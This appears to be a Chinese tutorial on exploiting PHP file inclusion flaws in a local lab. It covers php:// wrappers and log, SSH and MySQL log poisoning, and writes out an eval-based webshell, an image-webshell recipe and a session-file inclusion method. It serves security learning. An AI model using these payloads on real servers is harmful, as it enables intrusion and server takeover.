文件包含漏洞原理
1、源代码
<?php
$filename = $_GET['filename'];
include $filename; //或include_once,require,require_once
echo "欢迎来到PHP的世界.";
?>
2、利用条件
php.ini中alllow_url_fopen=On(默认开启)和allow_url_include=Off(默认关闭)要开启
用户参数可控且后台代码没有对包含的文件进行过滤
3、利用方式
http://localhost/文件包含-practice/fileinc.php
报错的内容是文件名不能为空,且无法打开,那我们就给上传一个文件名的参数,即
http://localhost/文件包含-practice/fileinc.php?filename=common.php
http://localhost/文件包含-practice/a.php?username=zhangsan&password=123456
http://localhost/文件包含-practice/fileinc.php?filename=a.php
http://localhost/文件包含-practice/fileinc.php?filename=a.php?username=zhangsan&password=123456
回显提示我们传入的filename值为:a.php?username=zhangsan,我们的目的的文件名是a.php,所以就没有找到对应的文件,就会报错,将?改为&即可,回显如下图所示:
http://localhost/文件包含-practice/fileinc.php?filename=a.php&username=zhangsan&password=123456
http://localhost/文件包含-practice/fileinc.php?filename=./login.html
一旦使用include或其他三个文件包含的函数,那么无论包含的文件的后缀名是什么,均会当成PHP代码执行
远程文件包含
1、利用条件
php.ini中allow_url_fopen=On(默认开启)和allow_url_include=Off(默认关闭)要开启
用户参数可控且后台代码没有对包含的文件进行过滤
2、利用方式
http://localhost/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB-practice/fileinc.php?filename=http://localhost/review/shell.php?code=phpinfo();
fileinc.php?filename=http://localhost/review/shell.php?code=phpinfo();,该段payload首先执行http://localhost/review/shell.php?code=phpinfo();,回显的内容是第二个主机中的phpinfo,而不是我们想要的,我们可以将shell.php修改为shell.txt,将?修改为&,这样的话不会回显第二个主机中的phpinfo,因为首先读取的是shell.txt中的一句话木马,将一句话木马的内容赋值给$filename,其次才会执行code=phpinfo();,返回的是我们想要的phpinfo
(fileinc.php?filename=http://localhost/review/shell.txt&code=phpinfo();)
PHP伪协议利用
一、伪协议介绍
PHP支持以下几种协议:
file:// -访问本地文件系统
http:// -访问HTTP(S)网址
ftp:// -访问FTP(S) URLS
php:// -访问各个输入/输出流(I/O streams)
zlib:// -压缩流
data:// -数据(RFC 2397)
glob:// -查找匹配的文件路径模式
phar:// -PHP 归档
ssh2:// -Secure Shell 2
rar:// -RAR
ogg:// -音频流
expect:// -处理交互式的流
php://是一种伪协议,主要是开启了一个输入输出流,理解为文件数据传输的一个通道。php中的伪协议常使用的有如下几个:
php://input php://filter phar://
二、php://filter
当我们直接包含common.php文件的时候,http://localhost/文件包含-practice/fileinc.php?filename=common.php
虽然代码已经调用,但是因为其是php文档,被web容器解释,导致页面看不到源码内容。
这时候使用php://将我们要读取的文件放在数据流里,然后我们通过伪协议的方式读出来
php://filter/read/convert/base64-encode/resource=common.php
http://localhost/文件包含-practice/fileinc.php?filename=php://filter/read/convert.base64-encode/resource=common.php
这段命令的意思就是打开数据流,把common.php的内容用base64编码的方式读出来
我们执行后,在页面上就能看到一串base64编码的方式,通过工具解码后就能看到明文源码
三、php://input
此方法需要条件,即开启allow_url_include=On。实际上这相当于一个远程包含的利用。
php://打开文件流后,我们直接在流里面写入我们的恶意代码,此时包含既可执行代码。
http://localhost/文件包含-practice/fileinc.php?filename=php://input
然后在POST请求中输入恶意代码,执行包含既可实现恶意代码的执行,比如:
<?php phpinfo(); ?>
<?php system(`ifconfig`); ?>
文件包含漏洞利用
文件包含
程序员对于多次使用的代码或数据,将其封装成一个文件,使用include,require等函数进行包含调用
文件包含漏洞
由于web应用对于用户输入的数据没有进行严格的过滤或没有进行过滤,导致用户输入的数据可以直接接触危险函数include,require等函数,从而使用户或攻击者的文件内容执行,使服务器沦陷。
首先先进入到/opt/lampp/logs,看一下其日志
将access_log和mysql_log给删除掉,然后再重新启动服务,日志文件就会重新生成
访问一下这个网址,发现日志信息中已经被记载啦
访问一下这个网址,发现无法找到对象
查看日志文件,发现多了一条记录
然后去访问一下这个日志,发现已经被包含进去了
我们发现有问题,通过查看原文件可以知道有些符号被转码了,有可能是浏览器先进行转码,然后发送给服务器,服务器如实的将其给记录下来,当浏览器进行访问的时候,服务器将其直接给发送过来了
我们在后面直接跟上一句话木马,然后不要让浏览器进行发送,使用bp抓包,通过bp去发送给服务器
发现日志依旧被转码
从bp中可以得知,是浏览器进行转码的
从bp中进行修改,将被转码的给修改过来
将抓取到的先发送到repeter,然后进行forward
然后再去查看一下日志,发现没有被转码的,大概率有可能成功,但是后面的东西没有了 ,应该是遇到空格就会截断
将空格删除了,然后send
然后去查看日志,发现全部没有被转码,成功写入
然后使用文件包含,给我们回显的内容是400,964,说明已经开始执行php代码了
将只有<?php的日志给删除
然后再去执行一下,给我们回显的内容是找不到phpinfo()这个函数,是因为在日志中函数与<?php和后面的?>连接到了一起,无法查找到这个函数
将转码成功的日志删除掉,进去repeter,将<?php中的php给删除掉,只变成<?phpinfo()?>,然后send,发现日志没有被记录进去,然后无论如何修改,日志都无法记录进去,我们可以重启一下,发现可以被记录进去了
然后send
发现被记录进去了
然后我们将日志文件包含进去访问一下,利用成功
文件路径如果遇到空格就会被切断的话,还有一个办法就是,在一句话木马两边加上双引号,里边的东西就不会被切断,也可以正常的去写php,也就是<?php @eval($_POST['code']); ?>
然后发送出去
去查看日志,发现写入成功,但是?不见啦。所以我们将后面的空格给删除了,重新发送一遍
发现写入成功,成功构造出了一句话木马,将倒数第二行给删除,如果存在的话就会报错,无法执行我们最新写进去的一句话木马
然后继续执行就可以看到文件包含成功了,phpinfo()被正常的解析
使用菜刀进行连接
成功获取到了权限
利用前提
(1)存在一个文件包含漏洞点
(2)我们有其他可控点可以写入到本地文件
(3)写入的本地文件路径可知或可预测
包含web日志
前期通过信息搜集,得到了相关的服务器信息,比如得知中间件是apache
apache记录web日志的文件有access.log和error.log
这时候我们访问服务器的时候,通过burp修改我们的请求,将恶意代码写在请求内,这时候web日志就会将我们的恶意代码写入到日志文件中。由于日志文件一般来说都说默认的路径,比较容易猜测,这样就满足了我们的本地包含getshell的条件。
比如get请求 get"<?php phpinfo();?>".html
包含登录日志
如果发现一个Linux系统,开放了22端口,同时存在文件包含漏洞。那么我们可以构造恶意登录在ssh登录日志中写入恶意代码。
Linux默认登录日志路径: /var/log/auth.log或/var/log/secure
使用xshell或ssh命令进行ssh登录:ssh"<?php phpinfo(); ?>"@192.68.3.17,此时,登录日志中将出现PHP代码。
如果MySQL开放远程登录,我们也同样可以登录MySQL并包含MySQL日志:mysql -u "<?php phpinfo(); ?>" -p -h 192.168.3.17
在Linux上默认是关闭MySQL日志的,开启MySQL日志:
o+r的权限,就是允许其他用户可读
首先进入到log目录下
其次使用ll查看一下文件的权限等等问题
secure默认日志文件其他账号是不能够进行读取的
在secure日志中找到了能够进行包含的日志文件
进行日志的实时监听,找一找可以使用的点,rhost那儿不行,因为那是我们本机登录的客户端IP地址,然后继续往下看,发现有用户
我们可以在用户这个层面上进行注入,直接输入<?phpinfo();?>发现会报错,我们在两边加上双引号,让它成为一个字符串,然后进行执行
发现执行成功,写了一条日志,用户名在日志中出现了,那么就是一个有效的php代码,然后就可以使用文件包含进行执行这个有效的php代码
进入到mysql的日志信息中去,经过观察,有一些mysql的登录信息
使用远程登录数据库,然后将密码输错,在用户名那儿进行做文章
mysql -u "<?php phpinfo(); ?>" -p -h 192.168.122.188
然后查看mysql的日志,发现有被包含进去的有效的PHP代码
然后在浏览器上访问mysql的日志,发现权限不允许
然后通过ll命令去查看mysql.log的访问权限,mysql的日志文件是由mysql这个用户生成的
我们给其授予o+r的权限,因为我们是root用户,所以可以授权,同时也是我们自己的环境,如果是现实真实环境的话,我们就无法去做到授予权限
然后再去查看mysql.log的日志权限,发现已经有r的权限啦,然后我们就可以进行包含利用啦
然后再继续访问,发现可以包含成功了,成功解析了日志文件中的有效的PHP代码
首先进入到mysql目录下,然后使用ll命令查看文件的权限,我们可以自己创建一个目录,把这个目录当作mysql日志信息的目录,然后修改owner,修改为mysql用户,意思是该mysql的日志信息是由mysql用户写入的,将 log 目录(或文件)的所有者更改为用户 mysql
包含mysql日志
包含mysql一般是在成功访问到MySQL后实现的。攻击者进入MySQL,可以通过数据库查询接口,实现恶意代码的写入mysql日志。方法和原理与包含Web日志相同。比如进入phpmyadmin后台,或者爆破成功进入MySQL。
查看日志文件状态:show varianbles like 'general_log'
写入恶意代码:select "<?php @eval($_POST['code']); ?>",根据日志文件路径即可包含。虽然能够到这一步,已经是渗透测试成功,但是如果Web服务器的权限更高的话,那么可以让Web服务器来包含日志,这样Web Shell就会被高权限账号执行,实现提权。
进入到mysql的日志文件mysql.log,并用tail -f mysql.log进行实时查看
然后去执行这条mysql命令
找到刚才的SQL语句,里面有一段有效的PHP代码
我们已经能够执行SQL语句,说明我们获得了一个比较高的权限,不存在包含日志,有可能是因为不同账户之间存在一些权限的问题,所以我们就想着用mysql账户去写一条日志,在web浏览器上包含进来,然后可以使用web服务器的权限来执行了,如果web服务器的权限比较高,我们就成功的提权了
包含上传文件
上传的话因为会检查后缀名,导致直接上传可执行文件失败,如果存在文件包含,就可以上传符合服务器的后缀名文件,但是在文件中写入恶意代码。比如使用图片马来进行文件上传,进而再将其包含进来
copy picture.jpg/b + shell.php/a picna.jpg
首先先去找一张图片
使用浏览器去访问一下,图片包含进去就是这个样子,以文本的形式进行输出,所以我们想办法往图片里边插入一句话木马,就变成了图片马
随便去找一张图片
然后还有一个shell.php
同时打开这两个东西,我们将这两个东西合起来,制作一张图片马,进到该文件所在目录的终端里面
/b是二进制,表示cloud.jpg/b是一个二进制文件,shell.php/a是一个文本,将shell.php加到cloud.jpg的后面,然后复给picma.jpg
发现图片马也是一张图片,没有任何问题
将其用记事本打开,拉到最后面,发现有我们需要的PHP的有效的代码
上传这个图片马,发现上传成功
接下来在文件包含里面包含这个图片马,然后就可以得到phpinfo啦
还可以执行一些其他指令
包含临时文件
临时文件指的是服务器会短暂存储,但是后续很快删除的文件。比如上传检测的时候,某些检测机制会先把上传的文件保存到一个临时文件夹里或沙盒里,临时文件要看具体业务逻辑,而且包含临时文件需要利用条件竞争的方式。动静比较大,容易被发现。
竞争条件的使用方法:
a、使用burpsuite不停的发送上传包
b、我们在文件包含页面不停的尝试包含上传文件,期望恶意文件在被服务器删除之前访问到。
c、一旦包含成功,即使文件被删除,只要shell不断,就可以保持连接
包含session文件
通过cookie可以得知sessionID,session文件默认在服务器中存放的格式是sess_(sessID),而路径也是固定的,大多存在tmp目录下,因此只要找到一个可以控制session文件写入的点,就能利用包含漏洞getshell
让有效的PHP代码写入到session文件当中去
然后把session文件包含进去,只要里面有一段有效的PHP代码,我们就可以直接执行啦,最大的问题就是看看这个网站能不能构造出写session文件的地方,然后我们把代码给写进去,这个session文件是相对路径
我们也可以使用绝对路径